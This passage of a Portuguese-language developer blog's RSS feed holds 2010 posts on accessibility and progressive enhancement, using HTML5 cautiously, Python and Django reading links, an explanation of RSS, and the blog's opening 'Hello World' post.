&lt;p&gt;Pode parecer difícil enriquecer uma aplicação e preocupar-se com
acessibilidade, mas faça o seguinte:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Comece com um &lt;em&gt;HTML&lt;/em&gt; bem escrito (e semântico)&lt;/li&gt;
&lt;li&gt;Construa a aparência através de folhas de estilos externas (de preferência)&lt;/li&gt;
&lt;li&gt;Aplique o comportamento necessário através de &lt;em&gt;scripts&lt;/em&gt; externos (de preferência)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O &lt;a href=&quot;http://www.igorescobar.com/blog/&quot; title=&quot;Visite o blog do Igor Escobar&quot;&gt;&lt;em&gt;Igor Escobar&lt;/em&gt;&lt;/a&gt; fez um &lt;em&gt;post&lt;/em&gt; com uma apresentação de &lt;em&gt;Simon
Willison&lt;/em&gt; onde é explicado &lt;a href=&quot;http://www.igorescobar.com/blog/2009/10/26/javascript-nao-obstrutivo-com-jquery/&quot; title=&quot;Javascript não obstrusivo com jQuery&quot;&gt;como fazer &lt;em&gt;Javascript&lt;/em&gt; não obstrusivo com
&lt;em&gt;jQuery&lt;/em&gt;&lt;/a&gt;. A prática acima (e mencionada
na apresentação) é conhecida por &lt;em&gt;Progressive Enhancement&lt;/em&gt;, e você pode ler
mais sobre no &lt;a href=&quot;http://www.alistapart.com/articles/understandingprogressiveenhancement/&quot; title=&quot;Understanding Progressive Enhancement&quot;&gt;&lt;em&gt;A List Apart&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;noscript?&lt;/h2&gt;
&lt;p&gt;Se construirmos uma aplicação ou &lt;em&gt;website&lt;/em&gt; que funciona dentro da
&lt;em&gt;Progressive Enhancement&lt;/em&gt;, temos um &lt;em&gt;website&lt;/em&gt; ou aplicação que não
obrigará o usuário a ter todos os recursos da &lt;em&gt;CSS&lt;/em&gt; ou do &lt;em&gt;Javascript&lt;/em&gt;
totalmente funcionais em seu navegador. Temos uma aplicação que
funcionará mesmo se o navegador do usuário não suporte &lt;em&gt;Javascript&lt;/em&gt;.
Logo, &lt;strong&gt;(na minha opinião)&lt;/strong&gt; não é necessário o uso da tag
&lt;strong&gt;&amp;#x3C;noscript&gt;&lt;/strong&gt;, afinal o usuário não será “prejudicado” ou isento de
qualquer tipo de informação que nossa aplicação se disponha a exibir.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Mesmo que a sua aplicação seja para um público muito específico,
preocupe-se com a acessibilidade. Você, seus clientes e a sociedade só
tem a ganhar.&lt;/p&gt;
&lt;p&gt;Finalizando… é interessante notar que qualquer boa-prática que envolva o
desenvolvimento &lt;em&gt;Web&lt;/em&gt; está diretamente ligada com um &lt;em&gt;HTML&lt;/em&gt; bem escrito,
e acima de tudo, com a &lt;strong&gt;semântica&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Usando o HTML5 sem medo]]></title><description><![CDATA[É notável como gradativamente a gente vem ouvindo cada vez mais sobre
HTML5 e CSS3. Os sites com experimentos não param de aparecer na
web…]]></description><link>https://klauslaube.com.br/2010/11/13/usando-html5-sem-medo.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/11/13/usando-html5-sem-medo.html</guid><pubDate>Sat, 13 Nov 2010 10:30:00 GMT</pubDate><content:encoded>&lt;p&gt;É notável como gradativamente a gente vem ouvindo cada vez mais sobre
&lt;em&gt;HTML5&lt;/em&gt; e &lt;a href=&quot;/tag/css3.html&quot; title=&quot;Leia mais sobre CSS3&quot;&gt;&lt;em&gt;CSS3&lt;/em&gt;&lt;/a&gt;. Os sites com experimentos não param de aparecer na
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, muitas referências boas com excelentes dicas sobre escrita e
semântica, e até mesmo &lt;em&gt;websites&lt;/em&gt; profissionais (desenvolvidos por
empresas da área do desenvolvimento &lt;em&gt;web&lt;/em&gt;), começam a tornar-se cada vez
mais comuns.&lt;/p&gt;
&lt;p&gt;Mas é óbvio que o &lt;em&gt;HTML5&lt;/em&gt; não está maduro o bastante para simplesmente
abandonarmos a cautela e acharmos que todo o nosso público utiliza
&lt;a href=&quot;http://www.google.com/chrome?hl=pt-BR&quot; title=&quot;Baixe o Google Chrome gratuitamente&quot;&gt;&lt;em&gt;Google Chrome&lt;/em&gt;&lt;/a&gt;. Na verdade, acredito que os desenvolvedores &lt;em&gt;Web&lt;/em&gt;
já aprenderam muito com o &lt;em&gt;IE 6&lt;/em&gt; (e &lt;a href=&quot;http://www.tableless.com.br/aonde-nos-leva-a-morte-do-internet-explorer-6&quot; title=&quot;Aonde nos leva a morte do IE6?&quot;&gt;vibraram muito com a sua morte&lt;/a&gt;)
para cometer este tipo de equívoco de novo.&lt;/p&gt;
&lt;p&gt;Mas então, até onde podemos “arriscar” no &lt;em&gt;HTML5&lt;/em&gt; e &lt;em&gt;CSS3&lt;/em&gt;? Quando
poderemos enfim falar para os nossos clientes que utilizaremos &lt;em&gt;HTML5&lt;/em&gt;
nos sites deles?&lt;/p&gt;
&lt;p&gt;O site &lt;a href=&quot;http://caniuse.com/&quot; title=&quot;Quando poderemos usar plenamente o HTML5?&quot;&gt;&lt;em&gt;When can I use…&lt;/em&gt;&lt;/a&gt; pode responder esta pergunta para você!&lt;/p&gt;
&lt;p&gt;Ele apresenta alguns recursos da &lt;em&gt;HTML5&lt;/em&gt; e &lt;em&gt;CSS3&lt;/em&gt; e qual a previsão de suporte para
determinado navegador (&lt;em&gt;IE&lt;/em&gt;, &lt;em&gt;Opera&lt;/em&gt;, &lt;em&gt;Safari&lt;/em&gt;, &lt;em&gt;Firefox&lt;/em&gt; e &lt;em&gt;Chrome&lt;/em&gt;).
Por exemplo, segundo o site, o &lt;em&gt;IE&lt;/em&gt; só terá suporte nativo ao &lt;em&gt;Canvas&lt;/em&gt;
em sua versão 9.&lt;/p&gt;
&lt;h2&gt;Mas dá pra usar ou não?&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/000e1d1ec7016fc60469dd452bb6eb69/4ec73/we-can-do-html5.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 129.44444444444446%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAaABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAwQC/8QAFwEBAQEBAAAAAAAAAAAAAAAABAIBA//aAAwDAQACEAMQAAABqnZpPa4aBdQWL+3w9FAbp//EAB0QAAIDAAIDAAAAAAAAAAAAAAECAAMRBCISEyH/2gAIAQEAAQUCKNPTboptjFVPzNnIZlupu6o3VjsrJE8mn//EABoRAAICAwAAAAAAAAAAAAAAAAABAhIRITH/2gAIAQMBAT8BrF8KIWnkuf/EABoRAQACAwEAAAAAAAAAAAAAAAEAAwIUQlH/2gAIAQIBAT8BbcwH2bdk4CNBP//EABwQAAEEAwEAAAAAAAAAAAAAAAABAhEhEBIxYf/aAAgBAQAGPwKdW1RTWHGDisKRrPpxSxYU6p//xAAdEAEBAQEAAgMBAAAAAAAAAAABEQAhYXExQYHx/9oACAEBAAE/IY1KKmcxV+i/O6OdcFJ5w+cFwEp94RrHuco+pJZogeGZFL7wlB6d/a3/2gAMAwEAAgADAAAAEEclgP/EABkRAQACAwAAAAAAAAAAAAAAAAEAERBBcf/aAAgBAwEBPxC1WmIiicz/xAAbEQEBAAEFAAAAAAAAAAAAAAABABExQVFhkf/aAAgBAgEBPxAqGjienycrdiS5v//EAB4QAQACAgIDAQAAAAAAAAAAAAEAESExQWFRkdGx/9oACAEBAAE/EAalAn2m2oEPCto+QIliKKvrEKpdNqtFzADHCnOD5ASYFkoEUAtpKnBgOwGutRSVoYuJCgbVwIyZsI2P75//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Comunidade Drupal incentivando ao uso do HTML5&amp;quot;&quot;
        title=&quot;Comunidade Drupal incentivando ao uso do HTML5&quot;
        src=&quot;/static/000e1d1ec7016fc60469dd452bb6eb69/4ec73/we-can-do-html5.jpg&quot;
        srcset=&quot;/static/000e1d1ec7016fc60469dd452bb6eb69/4ec73/we-can-do-html5.jpg 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Comunidade Drupal incentivando ao uso do HTML5&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Já utilizei &lt;em&gt;HTML5&lt;/em&gt; em alguns projetos. Devo confidenciar que foram projetos “na
surdina”, ou seja, os clientes e demais envolvidos não sabiam que o
desenvolvimento estava sendo feito em &lt;em&gt;HTML5&lt;/em&gt; (sendo revelado somente
depois de concluído). Como fiz para utilizar a &lt;em&gt;HTML5&lt;/em&gt; sem me preocupar
com &lt;em&gt;IE&lt;/em&gt;? Bom, por mim eu simplesmente ignoraria o &lt;em&gt;IE&lt;/em&gt;, mas
comercialmente falando isto seria um tiro no pé.&lt;/p&gt;
&lt;p&gt;Então assistindo a uma &lt;a href=&quot;http://elcio.com.br/amanha-cafe-com-browser-sobre-html/&quot; title=&quot;Eu assisti ao Café com Browser pela internet&quot;&gt;conferência da &lt;em&gt;W3C&lt;/em&gt; Brasil&lt;/a&gt;, o &lt;a href=&quot;http://elcio.com.br/&quot; title=&quot;Visite o blog do Elcio&quot;&gt;&lt;em&gt;Elcio&lt;/em&gt;&lt;/a&gt; do
&lt;a href=&quot;http://www.tableless.com.br/&quot; title=&quot;Desenvolvimento Web com XHTML e CSS&quot;&gt;&lt;em&gt;Tableless&lt;/em&gt;&lt;/a&gt; mostrou algumas soluções para quem enfrenta o dilema de
fazer funcionar nos bons e nos maus navegadores.&lt;/p&gt;
&lt;p&gt;Primeiramente, deixa eu parabenizar o &lt;em&gt;Tableless&lt;/em&gt; pelo excelente
“&lt;a href=&quot;http://tableless.com.br/html5/&quot; title=&quot;Saiba tudo sobre HTML5 no Tableless&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt; – Guia de referência para os desenvolvedores &lt;em&gt;web&lt;/em&gt;&lt;/a&gt;”. É
justamente neste guia, mais exatamente no capítulo 2, que são
apresentadas técnicas de detecção para sabermos se o &lt;em&gt;browser&lt;/em&gt; do
internauta suporta determinado recurso ou não.&lt;/p&gt;
&lt;p&gt;Outra excelente referência é o &lt;a href=&quot;http://diveintohtml5.org/&quot; title=&quot;Mergulhe no HTML5 agora mesmo&quot;&gt;&lt;em&gt;Dive into HTML5&lt;/em&gt;&lt;/a&gt;. Onde, além dos
conceitos somos levados à prática em um material muito bem escrito e
divertido.&lt;/p&gt;
&lt;p&gt;Utilizando estas técnicas eu digo: É possível sim! Mas tenha em mente
que muitas coisas ainda são &lt;em&gt;Drafts&lt;/em&gt;, ou seja, amanhã simplesmente podem
deixar de existir (o que já aconteceu). Então não invente… use sem medo
essa nova safra de elementos como &lt;em&gt;article&lt;/em&gt;, &lt;em&gt;section&lt;/em&gt;, &lt;em&gt;aside&lt;/em&gt;, etc.
Também experimente as &lt;em&gt;tags&lt;/em&gt; &lt;em&gt;video&lt;/em&gt; e &lt;em&gt;audio&lt;/em&gt;, elementos &lt;em&gt;canvas&lt;/em&gt; e
brinque com o &lt;em&gt;localStorage&lt;/em&gt;, mas evite recursos muito “extravagantes”.&lt;/p&gt;
&lt;p&gt;Para finalizar, visitem o “&lt;a href=&quot;http://www.w3avenue.com/2010/05/07/html5-unleashed-tips-tricks-and-techniques/&quot; title=&quot;HTML5 Unleashed: Tips, Tricks and Techniques&quot;&gt;&lt;em&gt;HTML5 Unleashed: Tips, Tricks and
Techniques&lt;/em&gt;&lt;/a&gt;”. É um megaboga tutorial de &lt;em&gt;HTML5&lt;/em&gt; que aborda desde os
elementos “mais seguros” até técnicas para detecção e para renderização
no &lt;em&gt;IE&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E vamos aguardar o &lt;a href=&quot;http://www.livrohtml5.com.br/&quot; title=&quot;Ficamos no aguardo do livro do Maujor sobre HTML5&quot;&gt;livro do &lt;em&gt;Maujor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Motive-se: Por que usar Python e Django?]]></title><description><![CDATA[Se você ainda está em dúvida sobre utilizar Python
e Django, abaixo
segue uma compilação dos posts que já fiz
ao Profissionais TI
sobre esta…]]></description><link>https://klauslaube.com.br/2010/11/12/motive-se-por-que-usar-python-e-django.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/11/12/motive-se-por-que-usar-python-e-django.html</guid><pubDate>Fri, 12 Nov 2010 19:20:00 GMT</pubDate><content:encoded>&lt;p&gt;Se você ainda está em dúvida sobre utilizar &lt;a href=&quot;http://www.python.org/&quot; title=&quot;Site oficial do Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;http://www.djangoproject.com/&quot; title=&quot;Site oficial do Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;, abaixo
segue uma compilação dos &lt;em&gt;posts&lt;/em&gt; que já fiz
ao &lt;a href=&quot;http://www.profissionaisti.com.br/author/klaus/&quot; title=&quot;Minhas contribuições ao Profissionais TI&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;
sobre esta fantástica linguagem de programação que é o &lt;em&gt;Python&lt;/em&gt;, e esta
maravilhosa &lt;em&gt;framework&lt;/em&gt; chamada &lt;em&gt;Django&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/01/10-motivos-para-voce-aprender-a-programar-em-python/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;10 motivos para você aprender a programar em Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/06/pense-como-um-pythonista/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Pense como um Pythonista&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/06/codifique-como-um-verdadeiro-pythonista/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Codifique como um verdadeiro Pythonista&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/02/programador-python-aprendendo-java/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Programador Python aprendendo Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/03/python-seja-hibrido-use-dialetos/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Python: Seja híbrido! Use dialetos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/02/programando-python-para-a-web/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Programando Python para a Web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/02/programando-em-django-no-seu-sistema-operacional-favorito/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Programando em Django no seu SO favorito&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/05/desenvolvendo-web-com-django-por-onde-comecar/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Desenvolvendo Web com Django: Por onde começar?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.profissionaisti.com.br/2009/04/entendendo-o-django/&quot; title=&quot;Leia este post no Profissionais TI&quot;&gt;Entendendo o Django&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Você possui algum link interessante para compartilhar? Nos mostre deixando um comentário...&lt;/p&gt;</content:encoded></item><item><title><![CDATA[O que é RSS?]]></title><description><![CDATA[Conheço pessoas “bem instruídas” em TI que simplesmente não sabem o que é RSS.
Esta é a minha motivação para escrever este “primeiro post…]]></description><link>https://klauslaube.com.br/2010/11/12/o-que-e-rss.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/11/12/o-que-e-rss.html</guid><pubDate>Fri, 12 Nov 2010 19:15:00 GMT</pubDate><content:encoded>&lt;p&gt;Conheço pessoas “bem instruídas” em &lt;em&gt;TI&lt;/em&gt; que simplesmente não sabem o que é &lt;em&gt;RSS&lt;/em&gt;.
Esta é a minha motivação para escrever este “primeiro post oficial” e lhe explicar,
caso você não saiba, como você pode ler o conteúdo deste &lt;em&gt;blog&lt;/em&gt; sem visitar este endereço.&lt;/p&gt;
&lt;h2&gt;In a nutshell…&lt;/h2&gt;
&lt;p&gt;Primeiramente quero deixar claro que gosto muito de &lt;em&gt;pageviews&lt;/em&gt;. Fique a vontade
para visitar este &lt;em&gt;blog&lt;/em&gt; quando e quantas vezes quiser :)&lt;/p&gt;
&lt;p&gt;Segundo a &lt;a href=&quot;http://pt.wikipedia.org/&quot; title=&quot;Visite a Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RSS (Really Simple Syndication) é um subconjunto de “dialetos” XML que servem para agregar conteúdo ou “Web syndication“, podendo ser acessado mediante programas ou sites agregadores. É usado principalmente em sites de notícias e blogs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bom… este é um &lt;em&gt;blog&lt;/em&gt;! E este é nosso &lt;a href=&quot;http://www.klauslaube.com.br/feed/rss.xml&quot; title=&quot;Confira o nosso feed RSS&quot;&gt;&lt;em&gt;link RSS&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Logo, você é capaz de receber os artigos que publico aqui em seu leitor &lt;em&gt;RSS&lt;/em&gt;
favorito. Não viu vantagem nenhuma nisto?&lt;/p&gt;
&lt;h2&gt;RSS na prática&lt;/h2&gt;
&lt;p&gt;Você é um cara antenado, toda a manhã você visita os mais variados &lt;em&gt;blogs&lt;/em&gt; e
&lt;em&gt;sites&lt;/em&gt; de notícias para manter-se atualizado. Nem todos os sites possuem
atualizações, e lá se foi tempo precioso da sua vida visitando o dito cujo.&lt;/p&gt;
&lt;p&gt;Certo dia, você visita um &lt;a href=&quot;http://klauslaube.com.br&quot; title=&quot;O blog pode até ser simpático, mas o autor não =]&quot;&gt;&lt;em&gt;blog&lt;/em&gt; simpático&lt;/a&gt;
e o autor lhe fala sobre &lt;em&gt;RSS&lt;/em&gt;. Ele promete que você não precisa ficar
saltitando de &lt;em&gt;blog&lt;/em&gt; em &lt;em&gt;blog&lt;/em&gt; procurando por novos artigos. O autor lhe
promete que existem programas que visitam uma determinada &lt;em&gt;URL&lt;/em&gt; destes sites
procurando por novidades, este programa lhe traz o resumo (as vezes até mesmo
a notícia completa) de todos os sites que você usualmente visita. Você leva
muito menos tempo para atualizar-se sobre as coisas que estão acontecendo no mundo.&lt;/p&gt;
&lt;p&gt;Esta “determinada URL” que o tal programa visita é chamada de &lt;em&gt;Feed RSS&lt;/em&gt;.
Este programa que você utiliza para visitar esta &lt;em&gt;URL&lt;/em&gt; chama-se “cliente RSS“,
“agregador” ou “leitor RSS“. E o tal do &lt;em&gt;RSS&lt;/em&gt; na verdade é um padrão que
sistemas como o que alimenta este &lt;em&gt;blog&lt;/em&gt; e os leitores &lt;em&gt;RSS&lt;/em&gt;
usam para se comunicar.&lt;/p&gt;
&lt;p&gt;Vulgarmente falando, é um formato para divulgação de artigos.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Está em dúvida sobre qual cliente &lt;em&gt;RSS&lt;/em&gt; escolher?
&lt;a href=&quot;http://pt.wikipedia.org/wiki/Anexo:Lista_de_agregadores_de_feed&quot; title=&quot;Escolha o agregador RSS do seu agrado&quot;&gt;Esta lista pode te ajudar&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Agora que você tem ideia do que é &lt;em&gt;RSS&lt;/em&gt;, não deixe de
&lt;a href=&quot;http://www.klauslaube.com.br/feed/rss.xml&quot; title=&quot;Adicione este blog ao seu leitor RSS&quot;&gt;adicionar este &lt;em&gt;blog&lt;/em&gt; no seu leitor&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hello World!]]></title><description><![CDATA[Por dois longos anos esperei por este momento (talvez tenha esperado até demais),
mas enfim… posso dizer que tenho um blog! Devo…]]></description><link>https://klauslaube.com.br/2010/11/12/hello-world.html</link><guid isPermaLink="false">https://klauslaube.com.br/2010/11/12/hello-world.html</guid><pubDate>Fri, 12 Nov 2010 19:10:00 GMT</pubDate><content:encoded>&lt;p&gt;Por dois longos anos esperei por este momento (talvez tenha esperado até demais),
mas enfim… posso dizer que tenho um &lt;em&gt;blog&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;Devo confidenciar. Já trabalhei com &lt;em&gt;WordPress&lt;/em&gt; antes, mas sempre como o cara
que estava desenvolvendo um &lt;em&gt;Blog/CMS&lt;/em&gt; para alguém. Desta vez eu posso me
considerar “do outro lado”, e é difícil hein?! Pretendo contribuir com vocês,
caros leitores, com todo o conhecimento que possuo (e seguindo a regra da
reciprocidade, absorver conhecimento de vocês também).&lt;/p&gt;
&lt;h2&gt;O que você pode esperar deste Blog&lt;/h2&gt;
&lt;p&gt;Eu acredito que já trilhei um longo caminho com o &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;,
passando pelo &lt;a href=&quot;http://www.joomla.org/&quot; title=&quot;Visite o site oficial do CMS Joomla!&quot;&gt;&lt;em&gt;Joomla!&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://www.wordpress.org/&quot; title=&quot;Visite o site oficial da engine de blogs Wordpress&quot;&gt;&lt;em&gt;WordPress&lt;/em&gt;&lt;/a&gt;,
&lt;em&gt;Spaghetti&lt;/em&gt;, &lt;a href=&quot;http://codeigniter.com/&quot; title=&quot;Visite o site oficial da framework CodeIgniter&quot;&gt;&lt;em&gt;CodeIgniter&lt;/em&gt;&lt;/a&gt;
e mais recentemente pela &lt;a href=&quot;http://cakephp.org/&quot; title=&quot;Visite o site da framework para desenvolvimento rápido, CakePHP&quot;&gt;&lt;em&gt;CakePHP&lt;/em&gt;&lt;/a&gt;.
Pretendo sim falar sobre &lt;em&gt;PHP&lt;/em&gt;, mas de uma forma bem “light“, pois na verdade
o objetivo principal deste &lt;em&gt;blog&lt;/em&gt; é transmitir meus conhecimentos sobre
&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;,
padrões &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;Web&lt;/em&gt;&lt;/a&gt;,
&lt;em&gt;Software&lt;/em&gt; Livre e &lt;a href=&quot;/tag/linux.html&quot; title=&quot;Leia mais sobre Linux&quot;&gt;&lt;em&gt;Linux&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Não que eu seja um “guru” nas tecnologias mencionadas, mas aprendi contribuindo
com o &lt;a href=&quot;http://profissionaisti.com.br&quot; title=&quot;Leia sobre tecnologia, telecomunicações, desenvolvimento, entre outros&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;
que escrever &lt;em&gt;posts&lt;/em&gt; é uma excelente maneira de aprender. Então podem apostar
que eu vou estar aprendendo junto com vocês.&lt;/p&gt;
&lt;h2&gt;Casa de ferreiro…&lt;/h2&gt;
&lt;p&gt;Eu sei. Vocês devem estar pensando “como raios um desenvolvedor &lt;em&gt;Web&lt;/em&gt; tem um
&lt;em&gt;blog&lt;/em&gt; com um template free?“. Sou programador, meus dons artísticos não são
nada admiráveis. Portanto resolvi: O &lt;em&gt;Blog&lt;/em&gt; será um meio de ensino e aprendizagem.
Um &lt;em&gt;hobby&lt;/em&gt;. Não irei me preocupar tanto com a sua composição.&lt;/p&gt;
&lt;p&gt;Não que eu não vá aplicar minhas (poucas) habilidades em &lt;em&gt;WordPress&lt;/em&gt; neste blog.
Só pretendo fazer deste uma espécie de “jardim Zen“, ou seja, quando achar que
vai ser maneiro escrever um tema todo em &lt;a href=&quot;/tag/html5.html&quot; title=&quot;Leia mais sobre HTML5&quot;&gt;&lt;em&gt;HTML5&lt;/em&gt;&lt;/a&gt;
com altos efeitos em &lt;a href=&quot;/tag/css3.html&quot; title=&quot;Leia mais sobre CSS3&quot;&gt;&lt;em&gt;CSS3&lt;/em&gt;&lt;/a&gt;
(se eu tiver tempo para isso), com certeza farei… e com certeza mostrarei como fiz,
e podem ter certeza que este tema será &lt;em&gt;open source&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Are you ready?&lt;/h2&gt;
&lt;p&gt;Gostaria de agradecer ao &lt;a href=&quot;http://www.twitter.com/jcaset/&quot; title=&quot;Visite o perfil do Jackson no Twitter&quot;&gt;&lt;em&gt;Jackson Caset&lt;/em&gt;&lt;/a&gt;
do &lt;a href=&quot;http://profissionaisti.com.br&quot; title=&quot;Leia sobre tecnologia, telecomunicações, desenvolvimento, entre outros&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://twitter.com/marinhobrandao/&quot; title=&quot;O que será que o Marinho está twitando agora?&quot;&gt;&lt;em&gt;Marinho Brandão&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://www.henriquebastos.net/&quot; title=&quot;Aspirante a Pythonista? Visite o blog do Henrique Bastos&quot;&gt;&lt;em&gt;Henrique Bastos&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;http://www.franciscosouza.com.br/&quot; title=&quot;O blog do Franscisco é uma excelente fonte para informações sobre desenvolvimento&quot;&gt;&lt;em&gt;Franscisco Souza&lt;/em&gt;&lt;/a&gt;,
ao &lt;a href=&quot;http://akitaonrails.com/&quot; title=&quot;Você não conhece o Akita?!&quot;&gt;&lt;em&gt;Akita&lt;/em&gt;&lt;/a&gt;,
pessoal do &lt;a href=&quot;http://www.tableless.com.br/&quot; title=&quot;[IMO] A melhor referência sobre padrões Web no Brasil&quot;&gt;&lt;em&gt;Tableless&lt;/em&gt;&lt;/a&gt;
e ao &lt;em&gt;Pedro&lt;/em&gt; do &lt;a href=&quot;http://www.pinceladasdaweb.com.br/blog/&quot; title=&quot;Outra excelente fonte para desenvolvedores Web&quot;&gt;&lt;em&gt;Pinceladas da Web&lt;/em&gt;&lt;/a&gt;.
Eles podem até não saber, mas foram influências para a criação deste &lt;em&gt;blog&lt;/em&gt; …
sem dúvida, se não fossem por estes caras, eu estaria jogando &lt;em&gt;Winning Eleven&lt;/em&gt; numa hora dessas :)&lt;/p&gt;
&lt;p&gt;Boa leitura…&lt;/p&gt;</content:encoded></item></channel></rss>